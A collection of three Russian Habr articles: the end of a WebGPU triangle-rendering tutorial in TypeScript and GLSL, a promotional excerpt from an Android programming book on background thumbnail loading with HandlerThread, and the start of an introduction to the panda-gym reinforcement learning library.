cd webgpu-seed
# Запустить сборку проекта
npm start
```
[Вот](https://alain.xyz/blog/designing-a-web-app), если нужно, материал, в котором можно найти подробности о Node.js, о пакетах и о прочем подобном.
Архитектура проекта
-------------------
По мере того, как растёт сложность проекта, его файлы может понадобиться организовать так, как обычно организуют файлы [движков компьютерных игр](https://alain.xyz/blog/game-engine-architecture) или средств [рендеринга](https://alain.xyz/blog/realtime-renderer-architectures) реального времени. Вот как устроен наш проект:
```
├─ node_modules/ # Зависимости
│ ├─ gl-matrix # Линейная алгебра
│ └─ ... # Другие зависимости (TypeScript, Webpack, и так далее.)
├─ src/ # Файлы с исходным кодом
│ ├─ renderer.ts # Код рендеринга треугольника
│ └─ main.ts # Главный файл приложения
├─ .gitignore # Файл, задающий правила игнорирования материалов в git-репозитории
├─ package.json # Файл настроек Node.js-проекта
├─ license.md # Лицензия
└─ readme.md # Файл readme
```
Зависимости:
* [gl-matrix](https://github.com/toji/gl-matrix) — JavaScript-библиотека, которая позволяет писать JS-код, похожий на код, написанный на GLSL. Она предоставляет типы для векторов, матриц и других объектов. Хотя эта библиотека в данном примере и не используется, она чрезвычайно полезна при программировании более серьёзных приложений. Например — при создании матриц для управления камерой.
* [TypeScript](https://github.com/microsoft/typescript) — типизированное надмножество языка JavaScript, использование которого упрощает создание веб-приложений благодаря возможностям по автозавершению кода и проверке типов.
* [Webpack](https://github.com/webpack/webpack) — средство сборки JavaScript-проектов, которое позволяет создавать компактные файлы с кодом и упрощает тестирование приложений.
Обзор проекта
-------------
В приложении, которое мы создадим, нужно выполнить следующие действия:
1. Инициализация API. Нужно проверить, существует ли объект `navigator.gpu`, и если это так — запросить у него `GPUAdapter`, затем — запросить `GPUDevice`, а после этого получить объект `GPUQueue` имеющегося устройства, используемый по умолчанию.
2. Настройка вспомогательных механизмов формирования кадра. Создание `GPUSwapchain` для получения `GPUTexture` для текущего кадра, а также — для получения любых других прикреплений (наподобие текстур глубины). Создание объектов `GPUTextureView` для соответствующих текстур.
3. Инициализация ресурсов. Создание буферов `GPUBuffer` для вершин и индексов, выполнение предварительной компиляции шейдеров в формат SPIR-V и загрузка двоичных данных SPIR-V-шейдеров в виде `GPUShaderModule`. Создание конвейера `GPURenderPipeline` путём описания каждой стадии графического конвейера. И, наконец, создание `GPUCommandEncoder` на основе того, что нужно отрендерить, а затем — создание `GPURenderPassEncoder` на основе тех команд рисования, которые мы намереваемся выполнить в текущем проходе рендеринга.
4. Рендеринг. Передача в обработку `GPUCommandEncoder` с помощью метода этого объекта .`finish()` и передача его `GPUQueue`. Подготовка системы к работе над следующим кадром путём вызова `requestAnimationFrame`.
5. Освобождение ресурсов. Уничтожение использованных структур данных после завершения работы с API.
Перейдём к рассмотрению примера. Тут мы будем пользоваться фрагментами кода, полную версию которого можно найти в [этом](https://github.com/alaingalvan/webgpu-seed) репозитории. Здесь, кроме того, переменные членов классов (вроде `this.memberVariable`) объявлены внутри классов без использования ключевого слова `.this`. Благодаря этому легче выяснить их типы. Кроме того, это приводит к тому, что примеры, приведённые здесь, могут работать сами по себе.
Инициализация API
-----------------
### ▍Входная точка
Для того чтобы получить доступ к API WebGPU, нужно проверить существование объекта `gpu` в глобальном объекте `navigator`. Вот соответствующий TypeScript-код:
```
// Начало работы с WebGPU
const entry: GPU = navigator.gpu;
if (!entry) {
throw new Error('WebGPU is not supported on this browser.')
}
```
### ▍Адаптер
Объект `GPUAdapter` описывает физические свойства конкретного GPU, такие, как имя, расширения, ограничения устройства.
```
// Объявляем ссылку на адаптер
let adapter: GPUAdapter = null;
// В асинхронной функции...
// Адаптер физического устройства
adapter = await entry.requestAdapter();
```
### ▍Устройство
Объект типа `GPUDevice` олицетворяет логическое устройство, даёт доступ к основному функционалу API WebGPU и позволяет создавать необходимые структуры данных.
```
// Объявляем ссылку на устройство
let device: GPUDevice = null;
// В асинхронной функции...
// Логическое устройство
device = await adapter.requestDevice();
```
### ▍Очередь
Очередь, объект `GPUQueue`, позволяет отправлять GPU задания в асинхронном режиме. Сейчас, во время написания этого материала, работать можно только с очередью `defaultQueue` конкретного устройства `GPUDevice`.
```
// Объявляем ссылку на очередь
let queue: GPUQueue = null;
// Очередь
queue = device.defaultQueue;
```
Вспомогательные механизмы формирования кадра
--------------------------------------------
### ▍Цепочка буферов
Для того чтобы увидеть на экране то, что мы будем рисовать, нам нужен HTML-элемент `canvas`. Кроме того, нужно создать для этого элемента цепочку буферов, представленную объектом `GPUSwapChain`.
```
// Объявляем ссылку на цепочку буферов
let swapchain: GPUSwapchain = null;
const context: GPUCanvasContext = canvas.getContext('gpupresent') as any;
// Создаём цепочку буферов
const swapChainDesc: GPUSwapChainDescriptor = {
device: device,
format: 'bgra8unorm',
usage: GPUTextureUsage.OUTPUT_ATTACHMENT | GPUTextureUsage.COPY_SRC
};
swapchain = context.configureSwapChain(swapChainDesc);
```
### ▍Буферы, прикрепляемые к базовому буферу кадра
При выполнении различных проходов системы рендеринга нужны выходные текстуры, в которые можно записывать данные. Речь идёт о текстурах глубины для теста глубины или для расчёта теней. Это могут быть прикрепления, реализующие различные аспекты отложенного рендеринга, такие, как применение нормалей и PBR-эффектов, например — реализация формирования отражений и фактур поверхностей.
```
// Объявляем ссылки на прикрепления
let depthTexture: GPUTexture = null;
let depthTextureView: GPUTextureView = null;
// Создаём вспомогательный механизм для работы с глубиной
const depthTextureDesc: GPUTextureDescriptor = {
size: {
width: canvas.width,
height: canvas.height,
depth: 1
},
arrayLayerCount: 1,
mipLevelCount: 1,
sampleCount: 1,
dimension: '2d',
format: 'depth24plus-stencil8',
usage: GPUTextureUsage.OUTPUT_ATTACHMENT | GPUTextureUsage.COPY_SRC
};
depthTexture = device.createTexture(depthTextureDesc);
depthTextureView = depthTexture.createView();
// Объявляем ссылки текстур для цепочки буферов
let colorTexture: GPUTexture = null;
let colorTextureView: GPUTextureView = null;
colorTexture = swapchain.getCurrentTexture();
colorTextureView = colorTexture.createView();
```
Инициализация ресурсов
----------------------
### ▍Буферы
Буфер — это массив с данными, например, с данными о позициях вершин сетки, с цветовыми данными, с данными об индексах и так далее. При рендеринге треугольников с использованием графического конвейера, формирующего растровое изображение, нужен 1 буфер с данными о вершинах (или большее количество таких буферов, которые обычно называют объектами буфера вершин — Vertex Buffer Object — VBO). Так же нужен 1 буфер индексов, содержащий указатели для буферов вершин тех треугольников, которые планируется вывести (такие буферы называют объектами буфера индекса — Index Buffer Object — IBO).
```
// Буфер с данными вершин
const positions = new Float32Array([
1.0, -1.0, 0.0,
-1.0, -1.0, 0.0,
0.0, 1.0, 0.0
]);
// Буфер с цветовыми данными вершин
const colors = new Float32Array([
1.0, 0.0, 0.0, // красный
0.0, 1.0, 0.0, // зелёный
0.0, 0.0, 1.0 // синий
]);
// Буфер с индексными данными
const indices = new Uint16Array([ 0, 1, 2 ]);
// Ссылки на буферы
let positionBuffer: GPUBuffer = null;
let colorBuffer: GPUBuffer = null;
let indexBuffer: GPUBuffer = null;
// Вспомогательная функция для создания объектов GPUBuffer из типизированных массивов
let createBuffer = (arr: Float32Array | Uint16Array, usage: number) => {
let desc = { size: arr.byteLength, usage };
let [ buffer, bufferMapped ] = device.createBufferMapped(desc);
const writeArray =
arr instanceof Uint16Array ? new Uint16Array(bufferMapped) : new Float32Array(bufferMapped);
writeArray.set(arr);
buffer.unmap();
return buffer;
};
positionBuffer = createBuffer(positions, GPUBufferUsage.VERTEX);
colorBuffer = createBuffer(colors, GPUBufferUsage.VERTEX);
indexBuffer = createBuffer(indices, GPUBufferUsage.INDEX);
```
### ▍Компиляция шейдеров
В нашем примере вершинный шейдер описан следующим GLSL-кодом:
```
#version 450
layout (location = 0) in vec3 inPos;
layout (location = 1) in vec3 inColor;
layout (location = 0) out vec3 outColor;
void main()
{
outColor = inColor;
gl_Position = vec4(inPos.xyz, 1.0);
}
```
Вот — код фрагментного шейдера, он тоже написан на GLSL:
```
#version 450
// Варьирование
layout (location = 0) in vec3 inColor;
// Возвращаемый вывод
layout (location = 0) out vec4 outFragColor;
void main()
{
outFragColor = vec4(inColor, 1.0);
}
```
Учитывая то, что у вас должен быть установлен [glslang](https://github.com/KhronosGroup/glslang/releases), и то, что пути к соответствующим инструментам находятся в переменной `PATH`, для компиляции шейдеров выполните следующие команды в терминале:
```
glslangValidator -V triangle.vert -o triangle.vert.spv
glslangValidator -V triangle.frag -o triangle.frag.spv
```
### ▍Модули шейдеров
Модули шейдеров — это заранее скомпилированные бинарные файлы шейдеров, которые выполняются на GPU при выполнении конкретного конвейера.
Так как шейдеры должны быть предварительно скомпилированы для использования их в WebGPU, вам понадобится средство для компиляции шейдеров в формат SPIR-V. Я работаю сейчас над новой версией [CrossShader](https://alain.xyz/libraries/crossshader) — средства, которое позволяет выполнить эту операцию. С этим средством пока не очень удобно работать. Например, ему не помешала бы загрузка шейдеров с использованием Webpack и другие подобные улучшения.
```
// Объявляем ссылки на модули шейдеров
let vertModule: GPUShaderModule = null;
let fragModule: GPUShaderModule = null;
// Вспомогательная функция для создания модулей GPUShaderModule из SPIR-V-файлов
let loadShader = (shaderPath: string) =>
fetch(new Request(shaderPath), { method: 'GET', mode: 'cors' }).then((res) =>
res.arrayBuffer().then((arr) => new Uint32Array(arr))
);
// В асинхронной функции...
// Обратите внимание на то, что эти двоичные файлы можно включить в JavaScript-код в виде значений переменных.
const vsmDesc: any = { code: await loadShader('triangle.vert.spv') };
vertModule = device.createShaderModule(vsmDesc);
const fsmDesc: any = { code: await loadShader('triangle.frag.spv') };
fragModule = device.createShaderModule(fsmDesc);
```
### ▍Группировка
Часто нужно передавать данные напрямую в модули шейдеров. Для того чтобы это сделать, нужен uniform-буфер. Для того чтобы создать такой буфер в шейдере, добавьте в его код, до функции `main`, следующее:
```
// Это нужно добавить в файл вершинного шейдера
layout (set = 0, binding = 0) uniform UBO
{
mat4 modelViewProj;
vec4 primaryColor;
vec4 accentColor;
};
// В файле вершинного шейдера замените предпоследнюю строчку на следующую
gl_Position = modelViewProj * vec4(inPos, 1.0);
```
Затем в JavaScript-коде создадим uniform-буфер, поступив так же, как поступали, создавая вершинные и индексные буферы:
```
// Uniform-данные
const uniformData = new Float32Array([
// Матрица ModelViewProjection
1.0, 0.0, 0.0, 0.0
0.0, 1.0, 0.0, 0.0
0.0, 0.0, 1.0, 0.0
0.0, 0.0, 0.0, 1.0
// Основной цвет
0.9, 0.1, 0.3, 1.0
// Акцентный цвет
0.8, 0.2, 0.8, 1.0
]);
// Объявление ссылки на буфер
let uniformBuffer: GPUBuffer = null;
uniformBuffer = createBuffer(uniformData, GPUBufferUsage.UNIFORM | GPUBufferUsage.COPY_DST);
```
Для того чтобы лучше справиться с матричными вычислениями, вроде умножения матриц, вам может пригодиться специализированная библиотека — наподобие вышеупомянутой [gl-matrix](https://github.com/toji/gl-matrix).
```
// Объявление ссылок
let uniformBindGroupLayout: GPUBindGroupLayout = null;
let uniformBindGroup: GPUBindGroup = null;
let layout: GPUPipelineLayout = null;
// Компоновка привязок
uniformBindGroupLayout = device.createBindGroupLayout({
bindings: [{
binding: 0,
visibility: GPUShaderStage.VERTEX,
type: "uniform-buffer"
}]
});
// Группа привязки
uniformBindGroup = device.createBindGroup({
layout: uniformBindGroupLayout,
bindings: [{
binding: 0,
resource: {
buffer: uniformBuffer
}
}]
});
// Компоновка конвейера
layout = device.createPipelineLayout({bindGroupLayouts: [sceneUniformBindGroupLayout]}),
```
Графический конвейер
--------------------
### ▍Растровый графический конвейер
Графический конвейер — это описание всех данных, которые будут переданы в обработку. Он включает в себя следующее:
* Входная сборка. Как выглядит каждая вершина? Где находится каждый атрибут и как атрибуты выравниваются в памяти?
* Модули шейдеров. Какие модули шейдеров будут использоваться при выполнении данного графического конвейера?
* Дескриптор глубины. Нужно ли выполнять тест глубины? Если да — то какую функцию следует для этого использовать.
* Дескриптор смешивания цветов. Как должно производиться смешивание текущих и уже записанных цветов?
* Растеризация. Как производится растеризация? Осуществляется ли отсечение граней? Если да — то в каком направлении оно должно осуществляться?
* Uniform-данные. Поступления каких uniform-данных должны ожидать шейдеры?
Ответы на все эти вопросы при разработке WebGL-приложений даются в ходе компоновки конвейера.
```
// Объявление ссылки на конвейер
let pipeline: GPURenderPipeline = null;
// Графический конвейер
// Входная сборка
const positionAttribDesc: GPUVertexAttributeDescriptor = {
shaderLocation: 0, // [[attribute(0)]]
offset: 0,
format: 'float3'
};
const colorAttribDesc: GPUVertexAttributeDescriptor = {
shaderLocation: 1, // [[attribute(1)]]
offset: 0,
format: 'float3'
};
const positionBufferDesc: GPUVertexBufferLayoutDescriptor = {
attributes: [ positionAttribDesc ],
arrayStride: 4 * 3, // sizeof(float) * 3
stepMode: 'vertex'
};
const colorBufferDesc: GPUVertexBufferLayoutDescriptor = {
attributes: [ colorAttribDesc ],
arrayStride: 4 * 3, // sizeof(float) * 3
stepMode: 'vertex'
};
const vertexState: GPUVertexStateDescriptor = {
indexFormat: 'uint16',
vertexBuffers: [ positionBufferDesc, colorBufferDesc ]
};
// Модули шейдеров
const vertexStage = {
module: vertModule,
entryPoint: 'main'
};
const fragmentStage = {
module: fragModule,
entryPoint: 'main'
};
// Дескриптор глубины
const depthStencilState: GPUDepthStencilStateDescriptor = {
depthWriteEnabled: true,
depthCompare: 'less',
format: 'depth24plus-stencil8'
};
// Дескриптор смешивания цветов
const colorState: GPUColorStateDescriptor = {
format: 'bgra8unorm',
alphaBlend: {
srcFactor: 'src-alpha',
dstFactor: 'one-minus-src-alpha',
operation: 'add'
},
colorBlend: {
srcFactor: 'src-alpha',
dstFactor: 'one-minus-src-alpha',
operation: 'add'
},
writeMask: GPUColorWrite.ALL
};
// Растеризация
const rasterizationState: GPURasterizationStateDescriptor = {
frontFace: 'cw',
cullMode: 'none'
};
// Uniform-данные
const pipelineLayoutDesc = { bindGroupLayouts: [] };
const layout = device.createPipelineLayout(pipelineLayoutDesc);
const pipelineDesc: GPURenderPipelineDescriptor = {
layout,
vertexStage,
fragmentStage,
primitiveTopology: 'triangle-list',
colorStates: [ colorState ],
depthStencilState,
vertexState,
rasterizationState
};
pipeline = device.createRenderPipeline(pipelineDesc);
```
### ▍Кодировщик команд
Кодировщики команд выполняют кодирование команд рисования, которые планируется выполнить в ходе рендеринга. После завершения кодирования команд в вашем распоряжении окажется буфер команд, который можно передать в очередь.
В этом смысле буфер команд аналогичен коллбэку, который, будучи отправленным в очередь, выполняет функции рисования на GPU.
```
// Объявление ссылок на кодировщики
let commandEncoder: GPUCommandEncoder = null;
let passEncoder: GPURenderPassEncoder = null;
// Запись команд для отправки GPU
function encodeCommands() {
let colorAttachment: GPURenderPassColorAttachmentDescriptor = {
attachment: colorTextureView,
loadValue: { r: 0, g: 0, b: 0, a: 1 },
storeOp: 'store'
};
const depthAttachment: GPURenderPassDepthStencilAttachmentDescriptor = {
attachment: depthTextureView,
depthLoadValue: 1,
depthStoreOp: 'store',
stencilLoadValue: 'load',
stencilStoreOp: 'store'
};
const renderPassDesc: GPURenderPassDescriptor = {
colorAttachments: [ colorAttachment ],
depthStencilAttachment: depthAttachment
};
commandEncoder = device.createCommandEncoder();
// Кодирование команд рисования
passEncoder = commandEncoder.beginRenderPass(renderPassDesc);
passEncoder.setPipeline(pipeline);
passEncoder.setViewport(0, 0, canvas.width, canvas.height, 0, 1);
passEncoder.setScissorRect(0, 0, canvas.width, canvas.height);
passEncoder.setVertexBuffer(0, positionBuffer);
passEncoder.setVertexBuffer(1, colorBuffer);
passEncoder.setIndexBuffer(indexBuffer);
passEncoder.drawIndexed(3, 1, 0, 0, 0);
passEncoder.endPass();
queue.submit([ commandEncoder.finish() ]);
}
```
Рендеринг
---------
Рендеринг в WebGPU — это всего лишь обновление любых uniform-данных, которые вы намереваетесь обновить, получение следующего прикрепления из цепочки буферов, отправка закодированных команд на выполнение, и вызов `requestAnimationFrame` для того, чтобы снова проделать все эти операции.
```
let render = () => {
// Получение следующего изображения из цепочки буферов
colorTexture = swapchain.getCurrentTexture();
colorTextureView = colorTexture.createView();
// Запись команд и отправка их в очередь
encodeCommands();
// Обновление элемента canvas
requestAnimationFrame(render);
};
```
Итоги
-----
Возможно, писать под WebGPU сложнее, чем под другие графические API, но этот API лучше других соответствует возможностям современных видеокарт. Это, как результат, должно привести не только к тому, что с использованием WebGPU можно будет писать более быстрые приложения, но и к тому, что сама технология WebGPU ещё долго не устареет.
Надо отметить, что здесь не были рассмотрены некоторые продвинутые вопросы по работе с WebGPU. В частности, речь идёт о следующем:
* Использование матриц для работы с камерой.
* Подробный обзор всех возможных состояний графического конвейера.
* Вычислительные конвейеры.
* Загрузка текстур.
**Уважаемые читатели!** Планируете ли вы использовать WebGPU в своих проектах?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/485644/ | null | ru | null |
# Книга «Android. Программирование для профессионалов. 3-е издание»
[](https://habrahabr.ru/company/piter/blog/335146/) Третье издание познакомит вас с интегрированной средой Android Studio, которая сильно облегчает разработку приложений. Вы не только изучите основы программирования, но и узнаете о возможностях самых распространенных версий Android; новых инструментах, таких как макеты с ограничениями и связывание данных; модульном тестировании; средствах доступности; архитектурном стиле MVVM; локализации; новой системе разрешений времени выполнения. Все учебные приложения были спроектированы таким образом, чтобы продемонстрировать важные концепции и приемы программирования под Android и дать опыт их практического применения.
Под катом более подробно о книге и отрывок из книги [«Множественные загрузки»](https://habrahabr.ru/company/piter/blog/335146/#codde)
### Структура книги
В этой книге мы напишем восемь приложений для Android. Два приложения очень просты, и на их создание уходит всего одна глава. Другие приложения часто оказываются более сложными, а самое длинное приложение занимает 13 глав. Все приложения спроектированы так, чтобы продемонстрировать важные концепции и приемы и дать опыт их практического применения.
• GeoQuiz — в первом приложении мы исследуем основные принципы создания проектов Android, активности, макеты и явные интенты.
• CriminalIntent — самое большое приложение в книге, предназначено для хранения информации о проступках ваших коллег по офису. Вы научитесь использовать фрагменты, интерфейсы «главное-детализированное представление», списковые интерфейсы, меню, камеру, неявные интенты и многое другое.
• BeatBox — наведите ужас на своих врагов и узнайте больше о фрагментах, воспроизведении мультимедийного контента, архитектуре MVVM, связывании данных, тестировании, темах и графических объектах.
• NerdLauncher — нестандартный лаунчер, раскроет тонкости работы системы интентов и задач.
• PhotoGallery — клиент Flickr для загрузки и отображения фотографий из общедоступной базы
Flickr. Приложение демонстрирует работу со службами, многопоточное программирование, обращения к веб-службам и т. д.
• DragAndDraw — в этом простом графическом приложении рассматривается обработка событий касания и создание нестандартных представлений.
• Sunset — в этом «игрушечном» приложении вы создадите красивое представление заката над водой, а заодно освоите тонкости анимации.
• Locatr — приложение позволяет обращаться к сервису Flickr за изображениями окрестностей вашего текущего местонахождения и отображать их на карте. Вы научитесь пользоваться сервисом геопозиционирования и картами.
### Множественные загрузки
В настоящее время сетевая часть PhotoGallery работает следующим образом: PhotoGalleryFragment запускает экземпляр AsyncTask, который получает JSON от Flickr в фоновом потоке, и разбирает JSON в массив объектов GalleryItem. В каждом объекте GalleryItem теперь хранится URL, по которому находится миниатюрная версия фотографии.
Следующим шагом должна стать загрузка этих миниатюр. Казалось бы, дополнительный сетевой код можно просто добавить в метод doInBackground() класса FetchItemsTask. Массив объектов GalleryItem содержит 100 URL-адресов для загрузки. Изображения будут загружаться одно за одним, пока у вас не появятся все сто. При выполнении onPostExecute(…) они все вместе появятся в RecyclerView.
Однако единовременная загрузка всех миниатюр создает две проблемы. Во-первых, она займет довольно много времени, а пользовательский интерфейс не будет обновляться до момента ее завершения. На медленном подключении пользователям придется долго рассматривать стену из Биллов.
Во-вторых, хранение полного набора изображений требует ресурсов. Сотня миниатюр легко уместится в памяти. Но что, если их будет 1000? Что, если вы захотите реализовать бесконечную прокрутку? Со временем свободная память будет исчерпана.
С учетом этих проблем реальные приложения часто загружают изображения только тогда, когда они должны выводиться на экране. Загрузка по мере надобности предъявляет дополнительные требования к RecyclerView и его адаптеру. Адаптер инициирует загрузку изображения как часть реализации onBindViewHolder(…).
AsyncTask — самый простой способ получения фоновых потоков, но для многократно выполняемых и продолжительных операций этот механизм изначально малопригоден. (О том, почему это так, рассказано в разделе «Для любознательных» в конце этой главы.)
Вместо использования AsyncTask мы создадим специализированный фоновый поток. Это самый распространенный способ реализации загрузки по мере надобности.
### Взаимодействие с главным потоком
Специализированный поток будет загружать фотографии, но как он будет взаимодействовать с адаптером RecyclerView для их отображения, если он не может напрямую обращаться к главному потоку?
Вспомните пример с обувным магазином и двумя продавцами-Флэшами. Фоновый Флэш завершил свой телефонный разговор с поставщиком, и теперь ему нужно сообщить Главному Флэшу о том, что обувь была заказана. Если Главный Флэш занят, Фоновый Флэш не может сделать это немедленно. Ему придется подождать у стойки и перехватить Главного Флэша в свободный момент. Такая схема работает, но не слишком эффективно.
Лучше дать каждому Флэшу по почтовому ящику. Фоновый Флэш пишет сообщение о том, что обувь заказана, и кладет его в ящик Главного Флэша. Главный Флэш делает то же самое, когда он хочет сообщить Фоновому Флэшу о том, что какой-то товар закончился.
Идея почтового ящика чрезвычайно полезна. Возможно, у продавца имеется задача, которая должна быть выполнена скоро, но не прямо сейчас. В таком случае он кладет сообщение в свой почтовый ящик и обрабатывает его в свободное время.
В Android такой «почтовый ящик», используемый потоками, называется очередью сообщений (message queue). Поток, работающий с использованием очереди сообщений, называется циклом сообщений (message loop); он снова и снова проверяет новые сообщения, которые могли появиться в очереди (рис. 26.3).
Цикл сообщений состоит из потока и объекта Looper, управляющего очередью сообщений потока.
Главный поток представляет собой цикл сообщений, и у него есть управляющий объект, который извлекает сообщения из очереди сообщений и выполняет задачу, описанную в сообщении.
Мы создадим фоновый поток, который тоже использует цикл сообщений. При этом будет использоваться класс HandlerThread, который предоставляет готовый объект Looper.
### Создание фонового потока
Создайте новый класс с именем ThumbnailDownloader, расширяющий HandlerThread. Определите для него конструктор и заглушку реализации метода с именем queueThumbnail() (листинг 26.4).
**Листинг 26.4.** Исходная версия кода потока (ThumbnailDownloader.java)
```
public class ThumbnailDownloader extends HandlerThread {
private static final String TAG = "ThumbnailDownloader";
private boolean mHasQuit = false;
public ThumbnailDownloader() {
super(TAG);
}
@Override
public boolean quit() {
mHasQuit = true;
return super.quit();
}
public void queueThumbnail(T target, String url) {
Log.i(TAG, "Got a URL: " + url);
}
}
```
Классу передается один обобщенный аргумент . Пользователю ThumbnailDownloader понадобится объект для идентификации каждой загрузки и определения элемента пользовательского интерфейса, который должен обновляться после завершения загрузки. Вместо того чтобы ограничивать пользователя одним конкретным типом объекта, мы используем обобщенный параметр и сделаем реализацию более гибкой.
Метод queueThumbnail() ожидает получить объект типа T, выполняющий функции идентификатора загрузки, и String с URL-адресом для загрузки. Этот метод будет вызываться PhotoAdapter в его реализации onBindViewHolder(…).
Откройте файл PhotoGalleryFragment.java. Определите в PhotoGalleryFragment поле типа ThumbnailDownloader. В методе onCreate(…) создайте поток и запустите его. Переопределите метод onDestroy() для завершения потока.
**Листинг 26.5.** Создание класса ThumbnailDownloader (PhotoGalleryFragment.java)
```
public class PhotoGalleryFragment extends Fragment {
private static final String TAG = "PhotoGalleryFragment";
private RecyclerView mPhotoRecyclerView;
private List mItems = new ArrayList<>();
private ThumbnailDownloader mThumbnailDownloader;
...
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setRetainInstance(true);
new FetchItemsTask().execute();
mThumbnailDownloader = new ThumbnailDownloader<>();
mThumbnailDownloader.start();
mThumbnailDownloader.getLooper();
Log.i(TAG, "Background thread started");
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
...
}
@Override
public void onDestroy() {
super.onDestroy();
mThumbnailDownloader.quit();
Log.i(TAG, "Background thread destroyed");
}
...
}
```
В обобщенном аргументе ThumbnailDownloader можно указать любой тип. Однако вспомните, что этот аргумент задает тип объекта, который будет использоваться в качестве идентификатора для загрузки. В данном случае в качестве идентификатора удобно использовать объект PhotoHolder, так как он заодно определяет место, куда в конечном итоге поступят загруженные изображения.
Пара примечаний: во-первых, обратите внимание на то, что вызов getLooper() следует после вызова start() для ThumbnailDownloader (вскоре мы рассмотрим объект Looper более подробно). Тем самым гарантируется, что внутреннее состояние потока готово для продолжения, чтобы исключить теоретически возможную (хотя и редко встречающуюся) ситуацию гонки (race condition). До вызова getLooper() ничто не гарантирует, что метод onLooperPrepared() был вызван, поэтому существует вероятность того, что вызов queueThumbnail(…) завершится неудачей так как ссылка на Handler равна null.
Во-вторых, вызов quit() завершает поток внутри onDestroy(). Это очень важный момент. Если не завершать потоки HandlerThread, они никогда не умрут, словно зомби. Или рок-н-ролл.
Наконец, в методе PhotoAdapter.onBindViewHolder(…) вызовите метод queueThumbnail() потока и передайте ему объект PhotoHolder, в котором в конечном итоге будет размещено изображение, и URL-адрес объекта GalleryItem для загрузки.
**Листинг 26.6.** Подключение ThumbnailDownloader (PhotoGalleryFragment.java)
```
public class PhotoGalleryFragment extends Fragment {
...
private class PhotoAdapter extends RecyclerView.Adapter {
...
@Override
public void onBindViewHolder(PhotoHolder photoHolder, int position) {
GalleryItem galleryItem = mGalleryItems.get(position);
Drawable placeholder = getResources().getDrawable
(R.drawable.bill\_up\_close);
photoHolder.bindDrawable(placeholder);
mThumbnailDownloader.queueThumbnail(photoHolder, galleryItem.getUrl());
}
...
}
...
}
```
Запустите приложение PhotoGallery и проверьте данные LogCat. При прокрутке RecyclerView в LogCat появляются строки, сообщающие о том, что ThumbnailDownloader получает все запросы на загрузку.
Теперь, когда наша реализация HandlerThread заработала, следующим шагом становится создание сообщения с информацией, переданной queueThumbnail(), и его размещение в очереди сообщений ThumbnailDownloader.
» Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/collection/all/product/android-programmirovanie-dlya-professionalov-3-e-izdanie)
» [Оглавление](http://storage.piter.com/upload/contents/978544610413/978544610413_X.pdf)
» [Отрывок](http://storage.piter.com/upload/contents/978544610413/978544610413_p.pdf)
Для Хаброжителей скидка 20% по купону — **Android** | https://habr.com/ru/post/335146/ | null | ru | null |
# Знакомство с Panda Gym
К старту курса о [машинном и глубоком обучении](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=110821) знакомим читателей с panda-gym — это библиотека с открытым исходным кодом, предоставляющая среду обучения с подкреплением интегрированному с Gym роботу Franka Emika Panda. Поддерживаются среды игр Atari, настольных игр, физические симуляции в 2D и 3D и многое другое. Это позволяет обучать несколько агентов, сравнивать их или разрабатывать новые алгоритмы машинного обучения для задач обучения с подкреплением. Подробности, как всегда, под катом, а в конце вы найдёте ссылку на блокнот Google Colab.
---
При разработке интеллектуальной машины важную роль играют Reinforcement Learning и среда обучения машины. Применяемая для машинного обучения среда разработки не менее важна, чем применяемые в решении задачи прогнозного моделирования методы машинного обучения.
В задаче обучения с подкреплением среда составляет основные и фундаментальные элементы, поэтому важно понимать базовую среду, с которой агент RL будет взаимодействовать. Понимание среды помогает разработать правильный дизайн и методику обучения преподаваемого агента.
Среда — это мир агента, в котором он живёт; агент взаимодействует со средой, выполняя какие-то действия, но, выполняя эти действия, он не имеет права влиять на правила или динамику среды, подобно тому, как люди — агенты в земной среде и ограничены её законами.
Мы можем взаимодействовать со средой, но не можем изменить законы. Среда также даёт агенту вознаграждение: возвращаемое скалярное значение, которое действует как обратная связь, информируя агента о том, было ли его действие хорошим или плохим.
В рамках обучения с подкреплением многие парадигмы достигают выигрышной стратегии, т. е. заставляют агента выполнять желаемое действие несколькими способами. В сложных ситуациях вычислить точную выигрышную стратегию или функцию вознаграждения сложно, особенно когда агенты начинают учиться на основе взаимодействия, а не из ранее приобретённого опыта.
Типов учебных сред несколько:
* Детерминированная среда, где следующее состояние среды всегда определяется текущим состоянием и действиями агента.
* Стохастическая среда обучения с подкреплением, где следующее состояние не всегда определяется текущим состоянием или действиями агента.
* Одноагентная среда, где существует и взаимодействует со средой только один агент.
* Многоагентная среда: Где присутствует более одного агента, взаимодействующего со средой.
* Дискретная среда, пространство действий которой имеет дискретный характер.
* Непрерывная среда, пространство действий которой непрерывно по своей природе.
* Эпизодическая среда, где действия агента ограничены только конкретным эпизодом и не связаны с предыдущими действиями.
* Последовательная среда, где действия агента связаны с его предыдущими действиями.
### Что такое Gym Open AI?
Gym — инструментарий для разработки и сравнения алгоритмов обучения с подкреплением с открытым исходным кодом. Работа с ним облегчается тем, что он позволяет структурировать среду при помощи всего нескольких строк кода и совместим с любой библиотекой вычислений, такой как TensorFlow или Theano.
Библиотека Gym — это коллекция тестовых задач и сред, которыми можно воспользоваться для обучения и разработки более эффективных моделей обучения с подкреплением. Представленные среды имеют общий интерфейс, позволяющий писать обобщённые алгоритмы. Gym предоставляет широкий спектр сред симуляции.
### О Panda-Gym
В среде моделирования можно выполнять 5 задач: дотягиваться, толкать, скользить, подбирать, размещать и укладывать предметы в стопку. Она работает с многоцелевым фреймворком, что позволяет задействовать ориентированные на конкретные цели алгоритмы обучения с подкреплением.
В целях содействия открытым исследованиям используется физический движок PyBullet с открытым исходным кодом. Реализация, выбранная для этого пакета, позволяет легко определять новые задачи или даже создавать новых роботов.
### Симуляция и её проблемы
Представленная среда состоит из роботизированной руки Panda, известной как Franka Emika1, которая широко применяется в симуляциях и реальных академических работах. Робот имеет 7 степеней свободы и параллельный пальцевый захват. Он моделируется с помощью физического движка PyBullet, который, обладая открытым исходным кодом, помогает продемонстрировать производительность моделирования. Среды интегрированы с OpenAI Gym, что позволяет работать со всеми основанными на её API алгоритмам обучения.
Задача моделирования заключается в перемещении или захвате объектов в заданное положение и считается выполненной, если расстояние между перемещаемым объектом и целевой позицией менее 5 см.
